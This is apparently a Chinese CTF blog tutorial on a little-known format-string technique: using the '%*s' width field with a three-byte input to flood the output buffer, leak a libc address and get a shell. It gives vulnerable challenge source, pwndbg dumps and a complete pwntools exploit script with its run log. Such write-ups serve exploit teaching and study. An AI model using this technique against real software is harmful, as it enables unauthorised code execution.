前言

我们通常在pwn中遇到的栈上的格式化字符串类型,通常需要我们去寻找偏移去进行任意地址读或者任意地址写,然后使用工具fmtstr_payload快速钩爪格式化字符串,或者手搓payload进行got表改写等操作,但如果遇到限制字节等条件,往往只有手搓payload一条思路

基础

我们首先要对基本的格式化字符串利用有所熟悉

格式化字符串基本格式如下

1
%[parameter] [flag] [field width] [.precision] [length] type

中括号中的属性是可选的,不需要一定都写上,比如%08x,他就只用到了其中的一部分。下面举几个比较重要的属性讲一下:

  • parameter

    n$,获取格式化字符串中的指定参数

  • flag

  • field width

    输出的最小宽度

  • precision

    输出的最大长度

  • length,输出的长度

    hh,输出一个字节

    h,输出一个双字节

  • type

    d/i,有符号整数

    u,无符号整数

    x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。

    o,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。

    s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。

    c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。

    p, void * 型,输出对应变量的值。printf(“%p”,a) 用地址的格式打印变量 a 的值,printf(“%p”, &a) 打印变量 a 所在的地址。

    n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。

    %, ‘%’字面值,不接受任何 flags, width。

利用手段

我们通常在遇到诸如printf等一系列函数所造成的格式化字符串漏洞时,往往都是

1
printf(buf)或printf(&buf)

而我们常常忽视这里的filed width和precision,由此这种利用也不太为人所熟知

这里笔者贴下一个简单利用的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void one_printf()
{
char buf[4];

if (scanf("%3s", buf) <= 0)
exit(1);

printf("Here: ");
printf(buf);
}

void one_call()
{
void (*ptr)(const char *);

if (scanf("%p", &ptr) <= 0)
exit(1);

ptr("/bin/sh");
}

int main()
{
int choice;

setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);

while (1)
{
puts("1. printf");
puts("2. call");

if (scanf("%d", &choice) <= 0)
break;

switch (choice)
{
case 1:
do_printf();
break;
case 2:
do_call();
break;
default:
puts("Invalid choice!");
exit(1);
}
}

return 0;
}

这里我们发现当我们输入1进行printf时,我们只有三字节的输入限制,而我们要如何恰好利用这三字节,去达到一个泄露任意堆/栈高地址内容呢,这里就需要用到我们之前所忽视的width了,我们先看定义

Width 字段指定要输出的最小字符数,通常用于填充表格输出中的固定宽度字段,否则字段会更小,尽管它不会导致超大字段的截断。

宽度字段可以省略,也可以省略数字整数值,或者作为另一个参数传递时由星号 * 表示的动态值。例如,将导致打印 ‘ 10’,总宽度为 5 个字符。printf("%*d", 5, 10)

假如一个格式化参数是”% * d “,*代表第二个参数,控制输出的宽度,这个参数在调用约定中 所使用的寄存器是rsi,通常rsi是有内容的,比如栈上某一个地址,这个时候,输出字符串的宽度就会很大,会填满缓冲区,这里用到了对于_IO_padn这个函数对.vfprintf的一些跳转和定义,而在这里,填满缓冲区之后,你再输入%s,就会输出栈上的内容,进而能够让我们去泄露libc,从而进行后续ROP链的构造,而这里三字节的限制甚至能够直接让我们去getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pwndbg> tele 40
00:0000│ rsp 0x7fffda68ecc8 —▸ 0x7fc1de49cb9f (_IO_file_underflow+383) ◂— test rax, rax
01:0008│ 0x7fffda68ecd0 —▸ 0x7fc1de5f54a0 (_IO_file_jumps) ◂— 0x0
02:0010│ 0x7fffda68ecd8 ◂— 0x3
03:0018│ 0x7fffda68ece0 ◂— 0x1
04:0020│ 0x7fffda68ece8 —▸ 0x7fc1de5f8980 (_IO_2_1_stdin_) ◂— 0xfbad208b
05:0028│ 0x7fffda68ecf0 —▸ 0x7fc1de5f54a0 (_IO_file_jumps) ◂— 0x0
06:0030│ 0x7fffda68ecf8 —▸ 0x7fc1de5f94a0 (_nl_global_locale) —▸ 0x7fc1de5f56c0 (_nl_C_LC_CTYPE) —▸ 0x7fc1de5c1fd9 (_nl_C_name) ◂— 0x636d656d5f5f0043 /* 'C' */
07:0038│ 0x7fffda68ed00 —▸ 0x7fc1de5f8980 (_IO_2_1_stdin_) ◂— 0xfbad208b
08:0040│ 0x7fffda68ed08 ◂— 0x1
09:0048│ 0x7fffda68ed10 ◂— 0xffffffffffffff80
0a:0050│ 0x7fffda68ed18 —▸ 0x7fc1de49df86 (_IO_default_uflow+54) ◂— cmp eax, -1
0b:0058│ 0x7fffda68ed20 ◂— 0xa /* '\n' */
0c:0060│ 0x7fffda68ed28 ◂— 0x0
0d:0068│ 0x7fffda68ed30 —▸ 0x7fffda68f450 —▸ 0x7fffda68f550 ◂— 0x0
0e:0070│ 0x7fffda68ed38 —▸ 0x7fc1de470280 (__vfscanf_internal+2176) ◂— cmp eax, -1
0f:0078│ 0x7fffda68ed40 ◂— 0x2020202020202020 (' ')
10:0080│ 0x7fffda68ed48 ◂— 0x1
11:0088│ 0x7fffda68ed50 —▸ 0x7fc1de5c1e39 (dot) ◂— 0x747300445750002e /* '.' */
12:0090│ 0x7fffda68ed58 ◂— 0x2020202020202020 (' ')
13:0098│ 0x7fffda68ed60 —▸ 0x7fffda68f440 ◂— 0x0
14:00a0│ 0x7fffda68ed68 ◂— 0x1
15:00a8│ 0x7fffda68ed70 —▸ 0x7fc1de5c1e39 (dot) ◂— 0x747300445750002e /* '.' */
16:00b0│ 0x7fffda68ed78 ◂— 0x2020202020202020 (' ')
17:00b8│ 0x7fffda68ed80 —▸ 0x7fffda68f460 ◂— 0x3000000008
18:00c0│ 0x7fffda68ed88 ◂— 0x0
19:00c8│ 0x7fffda68ed90 ◂— 0x0
1a:00d0│ 0x7fffda68ed98 —▸ 0x7fffda68efe0 —▸ 0x7fffda68f000 ◂— 0x31 /* '1' */
1b:00d8│ 0x7fffda68eda0 ◂— 0x0
1c:00e0│ 0x7fffda68eda8 ◂— 0x0
1d:00e8│ 0x7fffda68edb0 ◂— 0x2
1e:00f0│ 0x7fffda68edb8 —▸ 0x7fffda68f000 ◂— 0x31 /* '1' */
1f:00f8│ 0x7fffda68edc0 —▸ 0x7fc1de5f56c0 (_nl_C_LC_CTYPE) —▸ 0x7fc1de5c1fd9 (_nl_C_name) ◂— 0x636d656d5f5f0043 /* 'C' */
20:0100│ 0x7fffda68edc8 ◂— 0x0
21:0108│ 0x7fffda68edd0 ◂— 0x0
22:0110│ 0x7fffda68edd8 ◂— 0x100000000
23:0118│ 0x7fffda68ede0 ◂— 0x2020202000000000
24:0120│ 0x7fffda68ede8 ◂— 0x2020202000000000
25:0128│ 0x7fffda68edf0 —▸ 0x7fc1de5f94a0 (_nl_global_locale) —▸ 0x7fc1de5f56c0 (_nl_C_LC_CTYPE) —▸ 0x7fc1de5c1fd9 (_nl_C_name) ◂— 0x636d656d5f5f0043 /* 'C' */
26:0130│ 0x7fffda68edf8 ◂— 0x0
27:0138│ 0x7fffda68ee00 ◂— 0xffffffff00000000

这里我们可以看到在我们使用了%s去泄露出libc时,这里对战结构输出的是stdin的地址

  • +0x0030 [IO_2_1_stdin_]
  • +0x0038 [__vfscanf_internal+2176]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
RAX 0xfffffffffffffe00
RBX 0x7fc1de5f8980 (_IO_2_1_stdin_) ◂— 0xfbad208b
RCX 0x7fc1de51a1f2 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x1
RDI 0x0
RSI 0x7fc1de5f8a03 (_IO_2_1_stdin_+131) ◂— 0x5fa7f0000000000a /* '\n' */
R8 0x0
R9 0x1e1e
R10 0x40202c ◂— 0x6c61766e49006425 /* '%d' */
R11 0x246
R12 0x7fc1de5f96a0 (_IO_2_1_stdout_) ◂— 0xfbad2887
R13 0x7fc1de5f48a0 (_IO_helper_jumps) ◂— 0x0
R14 0xd68
R15 0x7fc1de5f5608 ◂— 0x0
RBP 0x7fc1de5f54a0 (_IO_file_jumps) ◂— 0x0
RSP 0x7fffda68ecc8 —▸ 0x7fc1de49cb9f (_IO_file_underflow+383) ◂— test rax, rax
RIP 0x7fc1de51a1f2 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
► 0x7fc1de51a1f2 <read+18> cmp rax, -0x1000
0x7fc1de51a1f8 <read+24> ja read+112 <read+112>

0x7fc1de51a250 <read+112> mov rdx, qword ptr [rip + 0xddc19]
0x7fc1de51a257 <read+119> neg eax
0x7fc1de51a259 <read+121> mov dword ptr fs:[rdx], eax
0x7fc1de51a25c <read+124> mov rax, 0xffffffffffffffff
0x7fc1de51a263 <read+131> ret

0x7fc1de51a264 <read+132> mov rdx, qword ptr [rip + 0xddc05]
0x7fc1de51a26b <read+139> neg eax
0x7fc1de51a26d <read+141> mov dword ptr fs:[rdx], eax
0x7fc1de51a270 <read+144> mov rax, 0xffffffffffffffff
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7fffda68ecc8 —▸ 0x7fc1de49cb9f (_IO_file_underflow+383) ◂— test rax, rax
01:0008│ 0x7fffda68ecd0 —▸ 0x7fc1de5f54a0 (_IO_file_jumps) ◂— 0x0
02:0010│ 0x7fffda68ecd8 ◂— 0x3
03:0018│ 0x7fffda68ece0 ◂— 0x1
04:0020│ 0x7fffda68ece8 —▸ 0x7fc1de5f8980 (_IO_2_1_stdin_) ◂— 0xfbad208b
05:0028│ 0x7fffda68ecf0 —▸ 0x7fc1de5f54a0 (_IO_file_jumps) ◂— 0x0
06:0030│ 0x7fffda68ecf8 —▸ 0x7fc1de5f94a0 (_nl_global_locale) —▸ 0x7fc1de5f56c0 (_nl_C_LC_CTYPE) —▸ 0x7fc1de5c1fd9 (_nl_C_name) ◂— 0x636d656d5f5f0043 /* 'C' */
07:0038│ 0x7fffda68ed00 —▸ 0x7fc1de5f8980 (_IO_2_1_stdin_) ◂— 0xfbad208b
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0 0x7fc1de51a1f2 read+18
1 0x7fc1de49cb9f _IO_file_underflow+383
2 0x7fc1de49df86 _IO_default_uflow+54
3 0x7fc1de470280 __vfscanf_internal+2176
4 0x7fc1de46f162 __isoc99_scanf+178
5 0x4012c7 main+120
6 0x7fc1de430083 __libc_start_main+243
────────────────────────────────────────────────────────────────────────────────

此时跳转到stdin我们就可以去接收libc从而getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
import ctypes
#moban
context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’

file_name = './chal'

li = lambda x : print('\x1b[01;38;5;214m' +str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def get_addr() :

return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

r.sendlineafter(b'call', b'1')
r.sendline('%*s')

r.sendlineafter(b'call', b'1')
r.sendline('%s')

libc_base = get_addr() - 0x1ec980
li("libc->"+hex(libc_base))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
dbg()

r.sendlineafter(b'call', b'2')
r.sendline(str(hex(libc_base + libc.sym['system'])))

r.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
[DEBUG] Received 0xfff bytes:
b' ' * 0xfff
[DEBUG] Received 0xfff bytes:
b' ' * 0xfff
[DEBUG] Received 0x4d9 bytes:
b' 1. printf\n'
b'2. call\n'
[DEBUG] Sent 0x2 bytes:
b'1\n'
exp.py:30: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
r.sendline('%s')
[DEBUG] Sent 0x3 bytes:
b'%s\n'
[DEBUG] Received 0xfff bytes:
b'Here: Here: '
[DEBUG] Received 0xe37 bytes:
00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00000e10 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 80 │ │ │ │ ·│
00000e20 89 5f de c1 7f 31 2e 20 70 72 69 6e 74 66 0a 32 │·_··│·1. │prin│tf·2│
00000e30 2e 20 63 61 6c 6c 0a │. ca│ll·│
00000e37
libc->0x7fc1de40c000
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chal', '11739']
[DEBUG] Created script for new terminal:
#!/usr/bin/python3
import os
os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './chal', '11739'], os.environ)
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/tmp/tmpy7k3gpcp']
[-] Waiting for debugger: debugger exited! (maybe check /proc/sys/kernel/yama/ptrace_scope)
[DEBUG] Sent 0x2 bytes:
b'2\n'
exp.py:38: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
r.sendline(str(hex(libc_base + libc.sym['system'])))
[DEBUG] Sent 0xf bytes:
b'0x7fc1de45e290\n'
[*] Switching to interactive mode

$


其他利用姿势

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

FILE *fp;
char *buffer;
uint64_t i = 0x8d9e7e558877;

_Noreturn main() {
/* Just to save some of your time */
uint64_t *p;
p = &p;

/* Chall */
setbuf(stdin, 0);
buffer = (char *)malloc(0x20 + 1);
fp = fopen("/dev/null", "wb");
fgets(buffer, 0x1f, stdin);
if (i != 0x8d9e7e558877) {
_exit(1337);
} else {
i = 1337;
fprintf(fp, buffer);
_exit(1);
}
}

或者我们也可以去通过ogg和libc去getshell,也是同样的利用width去获取到栈上的地址,从而去进行覆盖,详细的可以去看文末的参考文章

缺陷

这种方法本质上还是利用的printf对于参数利用的不规范从而导致的,虽然这种填充缓冲区来泄露栈上地址的方法很简洁,甚至只需要一次fmt就可以getshell,但缺乏普适性,缺点也很明显,输出字符的数量时一个libc地址,就比如一个0x123的地址,拿这种利用就会去尝试输出0x123个字符,从而去尝试泄露,但我们实际遇到的情况时一个libc地址,它往往很大,比如0x7fc1de40c000,而上文三字节每次只能输出0xfff个字节,就会导致有类似爆破的过程,会非常的慢,在实际比赛中,可能远程环境都掉了,脚本还没打通的情况,这里也是给出参考

总结

本文探讨了对于格式化字符串的一种新利用,可能会在某些有限制的题目中作为非预期解。